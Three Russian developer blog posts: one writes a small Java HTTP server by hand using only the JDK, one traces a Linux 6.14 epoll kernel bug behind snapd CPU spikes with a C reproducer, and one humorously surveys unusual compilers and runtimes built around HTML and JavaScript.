Статья была опубликована на Хабре, более вольный оригинал доступен в нашем блоге.
Снова показываю как вести разработку «голыми руками» — без IDE, документации и даже интернета. На этот раз с помощью «пользовательской» Ubuntu Linux и OpenJDK.
Поскольку современные разработчики постоянно жалуются на завышенные требования технических интервью вообще и на мою «дурную практику» написания кода от руки в частности — показываю на личном примере как все это работает.
Жертвам «слабой памяти» посвящается.
Заодно узнаете как можно вести разработку на Java хоть в чистом поле — в самолете, в поезде или на закрытом объекте, без подключения к интернету и документации.
На этот раз для большего угара помимо статьи было записано и видео, где показан весь процесс «полевой разработки» на Java, с одним только JDK:
Для большей чистоты эксперимента был взят Live-образ Ubuntu Desktop 24.04.3 LTS, записан на флешку, флешка вставлена в один из рабочих ноутбуков, который затем с нее был загружен.
Таким образом получилась абсолютно чистая система, без средств разработки и с отключенной сетью.
Из инструментов у нас будет лишь текстовый редактор и JDK.
И все.
Самое простое что можно написать в таких полевых условиях — реверс-шелл HTTP-сервер. На самом деле написать можно много чего, особенно если посмотреть в каталог demo внутри OpenJDK:
Здесь и далее скриншоты из другой системы (Manjaro), чтобы не заморачиваться с их перебрасыванием из Live-системы и добавлением в статью. Тем не менее на видео все описываемые в статье шаги и весь код вбиваются каноничным способом — полностью вручную, на чистой системе, загруженной с Live USB.
Упомянутый выше каталог demo содержит набор довольно серьезных примеров проектов, которых вам вполне хватит для начальной стадии изучения или в качестве основы для какого-нибудь прототипа, особенно если никаких других инструментов и интернета — нет.
Так выглядит демо-проект Notepad, реализующий простейший текстовый редактор:
Так выглядит демо Metalworks, с простейшей реализацией мульти-оконной системы (MDI):
Напоминаю, что вся эта благодать находится внутри стандартной поставки любой версии JDK, начиная с незапамятных времен 8й версии.
Все демо-проекты содержат исходный код в архивах src.zip и собираются без внешних зависимостей.
К сожалению каталог с демо иногда вырезается ментейнерами дистрибутивов линукса ради экономии места и переносится в отдельный пакет, который пользователи разумеется забывают установить.
В ролике в записи показано как автор последовательно вводит и запускает в работу примерно такой код:
// разумеется я не помню названий абсолютно всех
// импортируемых классов, поэтому тут стоит '*'
import java.io.*;
import java.net.*;
import java.util.concurrent.*;
public class MyWebServer {
static void handle(Socket s) {
// метод getId() устарел, поэтому его использование в
// последних версиях JDK выдает предупреждение
System.out.println("Thread: %d"
.formatted(Thread.currentThread().getId()));
// самое сложное место, которое удалось повторить на записи
// далеко не с первой попытки
try(PrintWriter out = new PrintWriter(s.getOutputStream());
BufferedReader in = new BufferedReader(
new InputStreamReader(s.getInputStream()));) {
// поскольку используется чтение и запись строк а не байт - читаем
// строку целиком, т.е. до символа \n
String l = in.readLine();
// тут просто показываем в консоль
System.out.println(l);
// этим простым способом читаем только строку запроса,
// которая идет первой, пропустив все заголовки
// \r\n (пустая строка) - признак завершения запроса
while (l==null || l.isEmpty() || "\r\n".equals(in.readLine()));
// тут мы 'в лоб' сравниваем строку HTTP-запроса целиком
// так она выглядит до работы парсера
if ("GET /test HTTP/1.1".equals(l)) {
// поскольку мы реагируем только на один url '/test'
// формируем ниже статичный ответ
String data = "Hello from alex0x08 at "+ new Date();
// так выглядят стандартные поля ответа в 'raw' виде, без обработки
out.println("HTTP/1.1 200 OK");
// 'close' дает указание браузеру разорвать соединение
// с сервером сразу после получения данных
out.println("Connection: close");
// поскольку мы отдаем строку - ставим MIME тип 'text/plain'
out.println("Content-Type: text/plain");
// опционально отдаем размер данных
out.println("Content-Length: " + data.length());
// пустая строка - признак начала блока с данными
out.println();
// отдаем сами данные
out.println(data);
} else {
// во всех остальных случаях формируем ответ 404
out.println("HTTP/1.1 404 Not Found");
out.println("Connection: close");
out.println();
}
// нужно обязательно вызывать поскольку PrintWriter кеширует данные
out.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// в любом случае закрываем клиентский сокет
try {s.close();} catch (Exception ee) {}
}
}
// стартовый метод приложения
public static void main(String[] args) throws Exception {
System.out.println("Starting..");
// тоже сложное место, которое было непросто ввести по памяти
ExecutorService p = Executors.newFixedThreadPool(10);
// создание 'серверного' сокета, который будет прослушивать
// указанный порт
// поскольку хост не указан - будут прослушиваться все (0.0.0.0)
ServerSocket ss = new ServerSocket(8089);
// бесконечный цикл, который нужен тк метод accept() - блокирующий
// и выход из него произойдет после получения входящего подключения
while (true) {
// получен клиентский сокет
Socket s = ss.accept();
// запуск асинхронной обработки
p.execute(() -> handle(s));
}
}
}
Комментариев в той версии кода, который был показан на записи разумеется нет, они были добавлены уже после — для большего понимания.
Данный исходный код реализует простейший многопоточный веб-сервер на Java, который отвечает лишь на один URL /test и отдает заранее заданную строку с датой.
Как видите даже столь небольшого количества строк достаточно, чтобы можно было подключиться из современного браузера Chrome:
Компиляция выполняется как и в записи всего одной командой:
javac -cp . MyWebServer.java
После чего появится один единственный class-файл c совпадающим именем. Поскольку пакеты не использовались, для запуска достаточно указать в качестве classpath текущий каталог:
java -cp . MyWebServer
Но это все лирика и понты.
Разумеется невозможно запомнить абсолютно все и рано или поздно вы столкнетесь с названием метода или класса, которые надо где-то подсмотреть.
Для примера, автор при записи видео столкнулся с таким в двух местах:
длинные классы-обертки над потоками (stream) сокета и сложное название статичного метода, создающего экземпляр ExecutorService.
И то и другое получилось правильно ввести далеко не с первой попытки.
Возвращаясь к ситуации когда нет доступа к интернету и полноценной среды разработки, зато на машине есть JDK — показываю что можно сделать в этом непростом случае.
Невероятно но факт:
подсмотреть названия системных классов и методов можно.. в самом JDK!
Вот это поворот!
В последних версиях JDK появилась интересная утилита jimage, которая находится в каталоге bin (там же где и главные бинарники java и javac).
С помощью этой штуки можно легко посмотреть полные названия всех системных классов:
Правда знание полного имени класса не всегда помогает, поскольку в JDK много вложенных системных классов, которые по идее вызывать снаружи не надо.
Команда для запуска:
jimage list $JAVA_HOME/lib/modules |less
Где переменная JAVA_HOME указывает на каталог с установленной JDK:
Так вы увидите названия всех системных классов, но что делать с методами?
Тут тоже есть решение, поскольку эта же самая утилита позволяет распаковывать jmod-файлы в которых находятся системные классы JDK:
jimage extract --dir=/opt/src/tmp $JAVA_HOME/lib/modules
А еще одна утилита javap позволяет посмотреть метаданные class-файла, в том числе сигнатуры всех методов:
cd /opt/src/tmp/jre
javap java.base/java/nio/Bits.class
Так выглядит результат:
Вот этого уже с запасом хватит для полевой разработки в условиях крайнего Севера.
Если у вас есть реальный, не "нарисованный" опыт разработки на Java, двух этих трюков будет достаточно для работы в поезде или самолете или на чужом компьютере — в тех местах и обстоятельствах, где нет подготовленного рабочего места.
Если вам совсем повезет, в каталоге JDK/lib будет находиться файл src.zip, внутри которого будут исходники всех системных классов JRE:
«Повезет» — потому что также как и demo, этот файл часто удаляют ментейнеры дистрибутивов Linux, с переносом в отдельный пакет. Но разумеется если он присутствует, то поможет гораздо больше чем все приседания с javap.
В распакованном виде:
Внутри находится исходный код всех классов Java, используемых в JDK:
cat java.base/java/io/Bits.java |less
Для примера, так выглядит исходный код класса java.io.Bits, который мы просматривали выше с помощью javap:
Смысл такой «полевой разработки» — в первую очередь глумеж над джунами проверка реальных практических навыков, которые находятся в голове у программиста, а не где‑то в интернете. К сожалению ныне можно констатировать, что такие навыки являются большой редкостью и мало кто из кандидатов, которых я когда-либо собеседовал могли осилить написание хотя‑бы трети подобного кода.
Кстати в нашем Телеграм-канале выложено первое техническое видео, где впервые получилось проверить всю эту идею.
Статья была опубликована на Хабре, более вольный оригинал статьи как обычно в нашем блоге.
Еще одна поучительная история из жизни с Linux, специально чтобы вы потеряли сон и покой, узнав что такое вообще возможно.
Эмм с чего бы такого начать, чтобы не испугать раньше времени и не заставить устанавливать *BSD.
Есть на свете одна компания, которой мы помогаем с ИТ и есть у нее несколько виртуальных серверов на Ubuntu Linux, используемых для
половых утехразработки и тестирования.
Ubuntu там использовалась нормальной (для сервера) LTS‑версии, но в какой‑то момент — в погоне за патчами безопасности ее обновили до текущей.
Не совсем «текущей-текущей», которую используют разработчики Ubuntu для обкатки новых версий дистрибутива, а просто без долгой поддержки — примерно то, что ставят себе обычные пользователи Ubuntu Linux на домашние компьютеры.
Все происходило летом 2025 года, поэтому речь про версию 25.04 Ubuntu Linux, которая использует ядро 6.14 (запомните этот важный момент):
Однажды сисадмин компании-заказчика заметил слишком частую и сильную нагрузку на CPU, создаваемую процессом snapd, который является частью пакетного менеджера Snap.
Эта проблема с перегрузкой CPU для snapd мягко говоря не нова — «проклятый snapd» гадил линуксоидам с момента своего появления на свет и вообще видимо был не придуман а ниспослан свыше, в качестве кары за грехи.
Но в этот раз 100% загрузка CPU происходила.. строго по расписанию:
Разумеется первым делом были опробованы стандартные методы решения, вроде снижения частоты проверок обновлений или полного отключения проклятого сервиса:
Отдельно порадовал ответ ИИ:
Дословно «снести и использовать что-то другое» — первый разумный совет от машины за всю историю развития искусственного интеллекта.
Дальнейшие изыскания привели в багтрекер snapd к упомянутому багу, где уже третий комментарий от разработчика snapd, с приложенной трассировкой вызовов показал что проблема именно в ядре:
Тут стоит добавить, что почти сразу встал вопрос проверки бага на локальной машине, поскольку на момент изучения ситуации локально все успело неоднократно обновиться, а отлаживать ядро Linux на сервере заказчика все же не очень хорошая затея.
Чуть ниже по переписке видно, что баг особо ярко проявляется на ноутбуке, работающем от батареи:
Так что решено было пробовать отловить именно в таких условиях.
На счастье, на машине осталась сборка 6.14 версии ядра с патчами от Xanmod, которая использовалась для статьи про l9ec.
В последние годы в проекте ядра Linux выпускается сильно много промежуточных релизов, поэтому на какой именно версии внутри 6.14 ветки что-то пошло не так еще пришлось выяснять:
Наконец источник проблем был найден:
Чуть ниже по переписке обнаружился и тестовый код на C, демонстрирующий проблему, вот такой:
#include <sys/epoll.h>
#include <sys/time.h>
#include <sys/wait.h>
int main() {
int e = epoll_create1(0);
struct epoll_event event = {.events = EPOLLIN};
epoll_ctl(e, EPOLL_CTL_ADD, 0, &event);
const struct timespec timeout = {.tv_nsec = 1};
epoll_pwait2(e, &event, 1, &timeout, 0);
}
А так это выглядит в действии:
Обратите внимание на загрузку CPU и блокировку выхода из приложения
Как видите, в очередной раз проблема прикладного сервиса уперлась в ядро операционной системы.
Патч целиком находится тут, место исправления выглядит как-то так:
Да, как видите ситуацию радикально исправляет буквально пара символов логической конструкции, главное знать где исправлять.
Формально проблема была решена еще летом этого года, патч попал в mainline и пакет с обновлением ядра от команды Ubuntu:
На осень 2025 года даже стабильная версия ядра Linux уже имеет версию 6.16 — т. е. паровоз разработки уехал очень далеко вперед от описываемых проблем:
Так что на момент написания данной статьи вы (по идее) не должны столкнуться с данной проблемой, а если и столкнетесь — все легко решается банальным обновлением версии ядра из пакетов дистрибутива.
При подозрении на описанный баг — попробуйте собрать тестовое приложение (см. выше) и запустить в своем окружении.
Если начнется 100% загрузка CPU запущенным процессом — проблема точно есть, поскольку в ядрах с патчем поведение тестового приложения отличается:
В исправленном ядре тестовое приложение немедленно завершится.
Что касается заказчика, поскольку решение а затем и патч были опубликованы довольно оперативно — раньше чем нам сообщили о проблеме, на время разборок с согласованиями и попаданием в mainline ядра, мы банальным образом перенесли патч вручную в ту версию ядра, которая использовалась на сервере.
Позже обновили уже штатными средствами дистрибутива до текущей актуальной версии.
Если вы не являетесь разработчиком ядра и не пишете патчи каждый день, засыпая в обнимку с отладчиком — т. е. далеки от реалий системного программирования, то из этой статьи сможете вынести несколько интересных выводов и внезапных открытий:
1. Linux — могила, *BSD - сила
Шучу, разумеется неподготовленным пользователям в BSD-системы лучше не лезть совсем, но задуматься (или хотя-бы просто знать) о реалиях функционирования Linux все же стоит. Чтобы факт выноса мозга ядру из прикладного ПО не стал для вас неприятным сюрпризом.
2. Граница между прикладкой и системной разработкой весьма абстрактна
Проще говоря — ее нет совсем и в любой произвольный момент времени у вас есть неиллюзорный шанс наткнуться на баг ядра, даже программируя на JavaScript в браузере.
3. Любой уважающий себя сисадмин и DevOps должны знать С
Пусть на самом примитивном уровне, но хотя-бы собрать и запустить тестовое приложение, демонстрирующее проблему надо уметь. К сожалению все глубокие изыскания по теме «где оно тормозит» или «почему оно упало» рано или поздно приводят к коду на С и отладчику ядра.
И поверьте моему печальному опыту:
изучать эти штуки лучше днем и в спокойной обстановке, а не в режиме аврала и поздно ночью
на работе в выходной день.
4. Считайте деньги, хотя-бы иногда
Описанная в статье проблема случилась в локализованном окружении (на собственных физических серверах компании), но точно такая же Ubuntu используется и облачными провайдерами вроде Amazon, где есть тарификация за использование ресурсов, в первую очередь CPU.
Как нетрудно догадаться, 100% загрузка процессора с интервалом в пять минут в облаке, если ее вовремя не заметить и не исправить — больно отразится на счете, который вам потом выставят.
Так что проверяйте загруженность, пиковых 100% в современных системах быть не должно, если только вы целенаправленно не занимаетесь вычислительными задачами.
Статья была опубликована на Хабре, более вольный оригинал как обычно в нашем блоге, копия статьи — в Яндекс Дзене.
Или что бывает если заставить очень опытного разработчика заниматься не своим делом. Думаю после этой статьи термин «overqualified» заиграет для вас новыми красками.
Что первым делом приходит в голову, когда говорят о «веб-разработке»? Наверное что-то вроде "создание сайтов или веб-приложений"?
Лендинги, сайты-визитки, интернет-магазины или какие-нибудь веб-порталы
в ад.
Самые продвинутые из читателей вспомнят PWA или какой-нибудь React Native с Flutter — предел полета фантазии обычного разработчика.
Что плохо:
главное что отделяет человека от великих свершений это его фантазия — точно нельзя сделать только то, что невозможно вообразить.
Поэтому сейчас мы будем расширять ваше воображение — в превентивных мерах, дрелью и дыроколом подручными средствами. Перед вами шесть проектов отборнейшей дичи — реализующих самые безумные идеи с помощью вполне обыденных инструментов современного веб-разработчика.
Пожалуйста не пытайтесь рассказывать о таком на интервью в обычных компаниях — пожалейте интервьюера и его нежную психику.
Не смог пропустить столь жизнеутверждающее описание от автора этого замечательного проекта:
They were laughing that HTML was not a real programming language... WHO"S LAUGHING NOW!!11
Да, это именно то что вы подумали — кто-то будучи сильно не в духе взял общий синтаксис HTML и создал на его основе полноценный язык программирования.
Вот так выглядит реализация знаменитого FizzBuzz:
<!DOCTYPE html>
<html>
<head>
<title>FizzBuzz</title>
</head>
<body>
<h3>Look into the DevTools Console</h3>
<htmlang style="display: none;">
<call target="console.log"><s>Generating FizzBuzz...</s></call>
<for><v>i</v> <n>1</n> <n>100</n>
<cond>
<when>
<eq>
<mod>
<v>i</v>
<n>15</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>FizzBuzz</s>
</call>
</when>
<when>
<eq>
<mod>
<v>i</v>
<n>3</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>Fizz</s>
</call>
</when>
<when>
<eq>
<mod>
<v>i</v>
<n>5</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>Buzz</s>
</call>
</when>
<else>
<call target="console.log"><v>i</v></call>
</else>
</cond>
</for>
</htmlang>
<script src="./HTMLang.js"></script>
</body>
</html>
Не представляю что будет если самому Джоэлу выдать его же знаменитый «FizzBuzz» в такой реализации — есть шанс что старый сишный программист впадет в рекурсию.
Кстати кто там рассказывал на лекциях про «декларативный язык разметки» и «общую неполноценность»?
HTML (от англ. HyperText Markup Language — «язык гипертекстовой разметки») — стандартизированный язык гипертекстовой разметки документов для просмотра веб-страниц в браузере.
Зря старались, автор этого проекта тем временем спокойно пишет в консоль тегами HTML:
<call target="console.log">
<s>FizzBuzz</s>
</call>
А все потому, что не надо нанимать системных программистов, прошедших полноценное обучение по дисциплинам CS (вроде курса по разработке компиляторов) для работы штатным говночистом разработчиком в обычном корпоративном проекте.
Нехорошие мысли терзают многих опытных разработчиков — все та же идея «полноценной разработки на HTML» не дает покоя и автору данного проекта.
Но только он зашел в этом процессе несколько дальше предыдущего.
Как вам например функция на чистом HTML:
<def multiplyFunction returns=int> <!-- You can create functions -->
<param a type=int/>
<param b type=int/>
<return>a * b</return>
</def>
<def main>
<var result type=int>
<!-- Create variables -->
<multiplyFunction>
<!-- and store the result of the function in the variable -->
<param>5</param>
<param>6</param>
</multiplyFunction>
</var>
</def>
Известная библейская истина «многие знания — многие печали» — как раз про этот проект, например я бы очень хотел все это забыть и никогда о подобном не знать.
Но к сожалению уже слишком поздно, поэтому делюсь откровениями:
Да, вы все правильно поняли — это самый настоящий компилятор из HTML в нативный ELF64.
А сейчас совсем поплохеет:
To write code for Adruino/AVR microcontrollers, (Arduino UNO for example) you need to put a DOCTYPE tag in your HTML file.
For example:
<!DOCTYPE avr/atmega328p>
Да, это была оригинальная задумка автора — разработка для микроконтроллеров на HTML, я ничего не придумываю.
К слову, небольшая магия с #include <stdio.h> на скриншоте выше была необходима как раз потому, что компилятор предназначен для микроконтроллеров и не добавляет в генерируемый код на С этот стандартный для обычной ОС заголовок.
Вот так выглядит эта железка, если никогда не видели.
К сожалению у меня не оказалось под рукой такого девайса, так что полноценную работу и весь пайплайн проверить не смог. Но если среди читателей найдутся смелые люди, которые смогут это запустить — с радостью почитаю о впечатлениях.
А мы тем временем переходим к следующему замечательному проекту.
Таким названием и не менее характерным логотипом, авторы честно намекают на суть проекта:
Assembler implemented in JavaScript
Полагаю вы еще никогда не устанавливали компилятор ассемблера с помощью npm? Что ж, все когда‑нибудь бывает в первый раз:
npm i ass-js
Так выглядит классический «Hello, world»:
import {X64} from '../src/index';
const asm = X64();
asm.code(_ => {
_('db', 'Hello World!\n');
_('mov', ['rax', 1]); // 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00
_('mov', ['rdi', 1]);
_('lea', ['rsi', _('rip').disp(-34)]);
_('mov', ['rdx', 13]);
_('syscall');
_('ret');
});
console.log(asm.toString());
Только не показывайте любимому преподавателю курса по ассемблеру — поплохеет с такого накала дичи.
Вот так выглядит результат работы:
К сожалению выдаваемый ассемблерный код оказался нерабочим и отказался компилироваться в бинарник на моей машине.
Зато есть отдельный туториал по разбору примера с «Hello world», где по шагам разобрано как оно работает.
Еще нашелся замечательный вопрос к автору:
I was looking at your project and I couldn't figure out a reason as to why I would (and what, rather) implement with this.
Который как бы намекает на уровень треша и угара в этом проекте. Но едем дальше — к следующему отбитому уникальному проекту.
Тут все просто и очевидно:
Produces readable C89 code from JS/TS code.
Собственно все кроме смысла существования этого замечательного проекта — понятно и очевидно. Как-то так выглядит весь пайплайн:
Если вам вдруг будет нужен транспилер из Typescript в чистый Си — берите и пользуйтесь, благо проект очень даже рабочий:
npm install -g ts2c
Работает кстати и из браузера:
<script src="https://unpkg.com/typescript"></script>
<script src="ts2c.bundle.js"></script>
<script>
var cCode = ts2c.transpile("console.log('Hello world!')");
alert(cCode);
</script>
Есть даже онлайн версия:
Несмотря на то что автор честно пишет о куче недоработок:
Work in progress: it works, but only about 70% of ES3 specification is currently supported: statements and expressions - 95%, built-in objects - 17%.
Скажу что это самый работоспособный проект из серии, все остальное буквально рассыпается в руках. Рассыпается и валится как и следующий объект исследования.
Как легко и быстро понять что исследуемый проект — дикое, нерабочее и глючное говно?
По описанию, обещающему бесконечные ништяки:
Javascript's God Mode. No VM. No Bytecode. No GC. Just native binaries.
Отсылка к чему-то божественному в описании технического проекта это вообще практически 100% диагноз, можно отбраковывать только по одному этому признаку — врядли ошибетесь.
Как нетрудно догадаться, вместо нормального JavaScript тут тоже что-то свое божественное:
NerdLang is a substract of JS with some additions, focus on efficiency.
И это «свое» скажем так застряло в далеком прошлом:
Supporting EcmaScript 3 standard
На минуточку, 3я редакция стандарта вышла еще в далеком 2000м году.
А сам проект пытается в который раз «натянуть сову на глобус» и залезть туда, где последовательно обломали клыки все крупные корпрорации уровня Google:
Nerd is a JavaScript native compiler aiming to make JavaScript universal, Nerd is able to compile native apps for Windows, Mac, Linux, iOS, Android, Raspberry, STM32 and more.
Разумеется я не мог пройти мимо такого, поэтому всю эту дичь собрал и запустил, хотя и пришлось немного исправлять скрипты сборки.
Пайплайн (присутствует на титульном скриншоте) выглядит вот так:
Автор настолько суров, что запихал инстукции сборки и линковки модуля работы с сокетами в package.json:
{
..
"version": "0.0.1",
"nerd":
{
"env": ["std"],
"read_only": [],
"lib":
{
"win32":
[
"-D_WIN32_WINNT=0x0600",
"-Wno-narrowing",
"-D_GNU_SOURCE",
"-I{__EXTERN__}/libuv/include/",
"-I{__EXTERN__}/libuv/src/",
"-D_CRT_SECURE_NO_DEPRECATE",
"-D_CRT_NONSTDC_NO_DEPRECATE",
"{__EXTERN__}/libuv/src/*.h",
"{__EXTERN__}/libuv/src/*.c",
"{__EXTERN__}/libuv/src/win/*.h",
"{__EXTERN__}/libuv/src/win/*.c",
"-I {__MODULE__}/httplib/uWS/",
"-I {__MODULE__}/httplib/uSockets/",
"{__MODULE__}/httplib/uSockets/*.c",
"{__MODULE__}/httplib/uSockets/crypto/*.c",
"{__MODULE__}/httplib/uSockets/eventing/*.c",
"-DLIBUS_NO_SSL",
"-DUWS_NO_ZLIB",
"-fpermissive",
"-w",
"-lm",
"-ladvapi32",
"-liphlpapi",
"-lpsapi",
"-lshell32",
"-luser32 ",
"-luserenv",
"-lwsock32",
"-lws2_32"
]
}
}
}
Увидев вот такой package.json, знакомый веб-разработчик решил навсегда уйти из профессии и теперь пасет коз в горах Кавказа. Ну а я всего лишь не рискнул адаптировать такое для сборки под Linux, так что вы останетесь без примера запуска HTTP-сервера на этом чудище.
Наконец последний на сегодня проект, который по сравнению с предыдущими является можно сказать нормальным и где-то даже применимым:
Lemon is a framework for building Javascript runtime software, built on the Chrome V8 Javascript Engine.
Мне он понравился своей предельной простотой (по сравнению со всеми остальными проектами) и легкостью встраивания.
Специально показываю скрипт сборки целиком:
CXX = g++
V8 = engine/lib/v8
define INCLUDE
$(V8)/include
engine/Core.cpp
engine/Environment.cpp
engine/Lemon.cpp
engine/StaticHelpers.cpp
engine/ObjectCreator.cpp
endef
define APP
app/*.cpp
endef
define LIB
$(V8)/out/x64.release/obj/
endef
define OBJ
v8_monolith
endef
export INCLUDE
export APP
export LIB
export OBJ
build:
(CXX) -I " class="formula inline">$INCLUDE $$APP -L $$LIB -l $$OBJ -std=c++0x -pthread -o lemon
И.. это все.
Настолько простую сборку V8 вижу впервые, честно.
Оно действительно собирается одной командой:
Ниже показано как выглядит двойной «Hello, world», в котором есть как часть на JavaScript так и часть на C++ — немного подумав объединил два примера из документации в один.
App.js:
version();
console.log("Превед из JS");
helloworld();
App.hpp:
#ifndef APP
#define APP
#include "../engine/Lemon.hpp"
using v8::Context;
class App : public Lemon {
public:
void Start(int argc, char* argv[]);
void SetupEnvironment();
};
#endif
App.cpp:
#include "App.hpp"
using namespace v8;
static void Log(const FunctionCallbackInfo<Value>& args) {
HandleScope scope(args.GetIsolate());
String::Utf8Value str(args.GetIsolate(), args[0]);
const char* cstr = StaticHelpers::ToCString(str);
fprintf(stdout, "%s", cstr);
fprintf(stdout, "\n");
fflush(stdout);
}
static void HelloWorld(const FunctionCallbackInfo<Value>& args) {
printf("Превед из C++ \n");
}
void App::SetupEnvironment() {
this->CreateGlobalMethod("helloworld", HelloWorld);
}
void App::Start(int argc, char* argv[]) {
for (int i = 1; i < argc; ++i) {
// Get filename of the javascript file to run
const char* filename = argv[i];
// Create a new context for executing javascript code
Local<Context> context = this->CreateLocalContext();
// Enter the new context
Context::Scope contextscope(context);
this->CreateGlobalObject("console")
.SetPropertyMethod("log", Log)
.Register();
// Run the javascript file
this->RunJsFromFile(filename);
}
}
Чудны дела твои Господи, коль даже перебирая запредельную дичь есть шанс найти столь мощный проект.
Спросите с чего столько радости?
Потому что это самый настоящий V8, не самопал с реализацией ECMAScript «в переводе Гоблина», а именно тот самый движок, который используется в браузере Chrome — со всеми оптимизациями и наворотами.
А значит при определенных усилиях, у вас будет работать практически любой JavaScript код — в вашем нативном приложении, без всяких жирных Node.js и всех проблем с линковкой и версиями.
Словом берите на вооружение, пригодится.
Конечно же интересных проектов в области творения дичи куда больше чем хватит сил описать, поэтому ниже небольшая подборка найденного и интересного, но неработающего.
Compile javascript to LLVM IR, x86 assembly and self interpreting
К сожалению оказался прибит гвоздями к определенной версии MacOS, ни нормально собрать ни прогнать тесты под Linux не удалось. Интересен тем что в одном проекте собран и интерпретатор и компилятор, причем в нативный бинарник.
JavaScript Assembler x86-16
Генерирует готовые COM-файлы времен DOS, но под эмулятором Dosbox они работать отказались.
Duktape — embeddable Javascript engine with a focus on portability and compact footprint
Более продвинутый и известный аналог Lemon, который я нашел слишком поздно и не успел посмотреть.
«clang ported to js» — можно сразу в цитаты добавлять.
Сломанная и сильно устаревшая сборка, но сам проект — очень крутой, поскольку это полноценный компилятор Clang, вытащенный в веб.
Вот тут есть онлайн версия.
LLVM compiled to JavaScript using Emscripten
Снова сломанная и устаревшая сборка, починить за разумное время не получилось.
Она же в готовом виде онлайн.
Compile JS into LLVM IR - JavaScript Static Analysis Tool
Вот тут находится статья про этот проект, но мне собрать так и не удалось.
A toy js -> c++ compiler written in coffeescript. Uses escodegen to write c++ and tern to figure out types.
Опять сильно устаревшая и сломанная сборка.
Compiled implementation of Javascript, targeting C (for fun)
Половина тестов сломана, но сама сборка проходит — не стал детально изучать.
Letter is a compiler project built in TypeScript using LLVM node bindings.
Очень интересный, но к сожалению устаревший проект — требует 13й LLVM и старую же версию Node.js.
Подружить с новыми версиями LLVM и Node не удалось.
A tiny C compiler written purely in JavaScript.
Еще один интересный, но неработающий проект — сам компилятор отработал, но ассемблерный код отказался собираться.
Все описанные в этой статье проекты приведены в первую очередь для расширения границ вашего воображения — просто чтобы вы знали что так тоже бывает.
Пожалуйста не пытайтесь такое внедрять и использовать в рельном проекте, если не имеете за плечами серьезного опыта и/или профильного обучения.
Либо умеете быстро бегать и имеете запасное гражданство.
Статья была опубликована на Хабре, куда более вольная версия данной статьи доступна в нашем блоге.
